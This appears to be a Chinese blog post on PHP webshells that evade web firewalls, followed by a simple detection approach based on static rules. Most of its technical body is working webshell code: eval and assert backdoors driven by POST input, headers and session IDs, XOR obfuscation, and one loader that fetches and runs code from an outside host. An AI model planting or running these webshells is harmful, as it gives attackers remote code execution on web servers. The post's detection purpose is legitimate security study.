PHP常见过waf webshell以及最简单的检测方法


Posted in PHP onMay 21, 2019

前言

之前在Webshell查杀的新思路中留了一个坑 ️,当时没有找到具体找到全部变量的方法,后来通过学习找到了个打印全部量的方法,并再次学习了下PHP webshell绕过WAF的方法,以此来验证下此方法是否合理。

如有错误,还请指出,不胜感激! :turtle:拜

在那篇文章中我突然想到一种检测webshell的方法,就是首先获取到当前文件中的所有变量(不明白的可以先去看下之前的文章),然后再根据正则库进行静态检测。

自认为这种方法虽然会检测不完全(每个检测机制都不能保障全部有效),但是感觉非常简单、实用,也没那么多高深的道理。

为了验证该检测机制,首先了解下目前PHP webshell绕过WAF的方法。

常见绕过WAF的PHP webshell

字符串变形

大小写、编码、截取、替换、特殊字符拼接、null、回车、换行、特殊字符串干扰

<?php
$a = base64_decode("YXNzYXNz+00000____");
$a = substr_replace($a,"ert",3);
$a($_POST['x']);
?>

ucwords()
ucfirst()
trim()
substr_replace()
substr()
strtr()
strtoupper()
strtolower()
strtok()
str_rot13()
chr()
gzcompress()、gzdeflate()、gzencode()
gzuncompress()、gzinflate()、gzdecode()
base64_encode()
base64_decode()
pack()
unpack()

自写函数

利用 assert()

<?php 
function test($a){
  $a($_POST['x']);
}
test(assert);
?>

回调函数

<?php 
call_user_func(assert,array($_POST[x]));
?>

call_user_func_array()
array_filter() 
array_walk() 
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
array_reduce()
array_walk() 
array_walk_recursive()
forward_static_call_array()


利用魔术方法、析构函数 __destruct() , __construct()

<?php 
class test
{
 public $a = '';
 function __destruct(){
  assert("$this->a");
 }
}
$b = new test;
$b->a = $_POST['x'];
?>

利用外部文件

利用 curl , fsockopen 等发起网络请求再结合 file_get_contents

<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f7777772e77326e31636b2e636f6d2f7368656c6c2f312e6a7067'),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>

无字符特征马

编码、异或、自增

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>

特殊请求头

利用 getallheaders()

<?php
$cai=getallheaders()['cai'];
$dao=getallheaders()['dao'];
if($cai!="" and $dao!=""){
 $cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));
}
header('HTTP/1.1 404 Not Found');
?>

全局变量

利用 getenv() , arrag_flip() , get_defined_vars() , session_id()

import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "phpinfo();".encode('hex')
cookies = {
 'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

PHP混淆加解密

以phpjiami为例

就是将函数名、变量名全部变成”乱码”,且改动任意一个地方,都将导致文件不能运行。具体可访问: https://www.phpjiami.com/

PHP webshell检测方法

目前我所了解的webshell检测方式有:

  1. 机器学习检测webshell:比如混淆度、最长单词、重合指数、特征、压缩比等
  2. 动态检测(沙箱)
  3. 基于流量模式检测webshell:agent
  4. 逆向算法+静态匹配检测webshell:比如D盾webshell查杀
  5. 根据文件入度出度来检测

实例展示

这里以PHPjiami的webshell为例,其中 2.php 即为phpjiama的木马

PHP常见过waf webshell以及最简单的检测方法

可以明显看到明显的webshell规则了,这样再用静态规则、正则等即可轻松检测到。

简单检测思路

检测思路:

文件上传->文件包含->获取所有文件中的变量到临时文件中->静态规则匹配临时文件->返回匹配结果

├── __init__.py
├── conf
│   ├── __init__.py
│   ├── config.py
├── core
│   ├── __init__.py
│   ├── all_check.py
│   ├── data_mysql.py
│   └── file_inotify.py
├── lib
│   ├── __init__.py
│   └── semantic_analysis_api.py
├── test
│   ├── __init__.py
│   ├── file_md5_move.py
│   ├── os_check.py
│   ├── random_file_test.py
│   └── ...
├── web
│   ├── static
│   │   ├── css
│   │   │   ├── main.css
│   │   ├── images
│   │   │   └── background.jpg
│   │   └── js
│   │       └── upload.js
│   ├── templates
│   │   ├── index.html
│   ├── upload_file.php
│   └── include_file_to_tmp.php
├── webshell_check.py

conf中包含的是诸如下列的静态检测规则

PHP常见过waf webshell以及最简单的检测方法

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。

PHP 相关文章推荐
使用apache模块rewrite_module (转)
Feb 14 PHP
mysql 全文搜索 技巧
Apr 27 PHP
用PHP与XML联手进行网站编程代码实例
Jul 10 PHP
php 不同编码下的字符串长度区分
Sep 26 PHP
求PHP数组最大值,最小值的代码
Oct 31 PHP
解析Extjs与php数据交互(增删查改)
Jun 25 PHP
PHP实现将HTML5中Canvas图像保存到服务器的方法
Nov 28 PHP
Windows7下的php环境配置教程
Feb 28 PHP
php恢复数组的key为数字序列的方法
Apr 28 PHP
教你php如何实现验证码
Jan 20 PHP
PHP命名空间和自动加载类
Apr 03 PHP
php 判断字符串编码是utf-8 或gb2312实例
Nov 01 PHP
PHP __call()方法实现委托示例
May 20 #PHP
PHP消息队列实现及应用详解【队列处理订单系统和配送系统】
May 20 #PHP
PHP常量define和const的区别详解
May 18 #PHP
thinkphp5框架实现的自定义扩展类操作示例
May 16 #PHP
java解析json方法总结
May 16 #PHP
微信支付之JSAPI公众号支付详解
May 15 #PHP
php获取目录下所有文件及目录(多种方法)(推荐)
May 14 #PHP
You might like
PHP mysql事务问题实例分析
2016/01/18 PHP
PHP实现的回溯算法示例
2017/08/15 PHP
PHP中常见的密码处理方式和建议总结
2018/10/14 PHP
PHP模糊查询技术实例分析【附源码下载】
2019/03/07 PHP
如何在Mozilla Gecko 用Javascript加载XSL
2007/01/09 Javascript
jQuery操作Select选择的Text和Value(获取/设置/添加/删除)
2013/03/06 Javascript
jquery插件jquery倒计时插件分享
2013/12/27 Javascript
JavaScript实现网页截图功能
2014/10/16 Javascript
JavaScript中的数学运算介绍
2014/12/29 Javascript
IE中鼠标经过option触发mouseout的解决方法
2015/01/29 Javascript
JavaScript获得表单target属性的方法
2015/04/02 Javascript
javascript函数式编程实例分析
2015/04/25 Javascript
JavaScript通过事件代理高亮显示表格行的方法
2015/05/27 Javascript
vuejs开发组件分享之H5图片上传、压缩及拍照旋转的问题处理
2017/03/06 Javascript
使用vue中的v-for遍历二维数组的方法
2018/03/07 Javascript
vue动态绑定组件子父组件多表单验证功能的实现代码
2018/05/14 Javascript
Mac下通过brew安装指定版本的nodejs教程
2018/05/17 NodeJs
微信小程序框架wepy之动态控制类名
2018/09/14 Javascript
在vue 中使用 less的教程详解
2018/09/26 Javascript
JS获取月的第几周和年的第几周实例代码
2018/12/05 Javascript
vue draggable resizable 实现可拖拽缩放的组件功能
2019/07/15 Javascript
js实现图片区域可点击大小随意改变(适用移动端)代码实例
2019/09/11 Javascript
jquery实现上传图片功能
2020/06/29 jQuery
Vue常用API、高级API的相关总结
2021/02/02 Vue.js
利用Python开发微信支付的注意事项
2016/08/19 Python
关于python的bottle框架跨域请求报错问题的处理方法
2017/03/19 Python
python使用 HTMLTestRunner.py生成测试报告
2017/10/20 Python
Python实现接受任意个数参数的函数方法
2018/04/21 Python
Python实现获取系统临时目录及临时文件的方法示例
2019/06/26 Python
Pandas之read_csv()读取文件跳过报错行的解决
2020/04/21 Python
python 使用tkinter+you-get实现视频下载器
2020/11/17 Python
viagogo波兰票务平台:演唱会、体育比赛、戏剧门票
2018/04/23 全球购物
小学毕业寄语大全
2014/04/03 职场文书
排球赛新闻稿
2015/07/17 职场文书
员工试用期工作总结
2019/06/20 职场文书
Python内置包对JSON文件数据进行编码和解码
2022/04/12 Python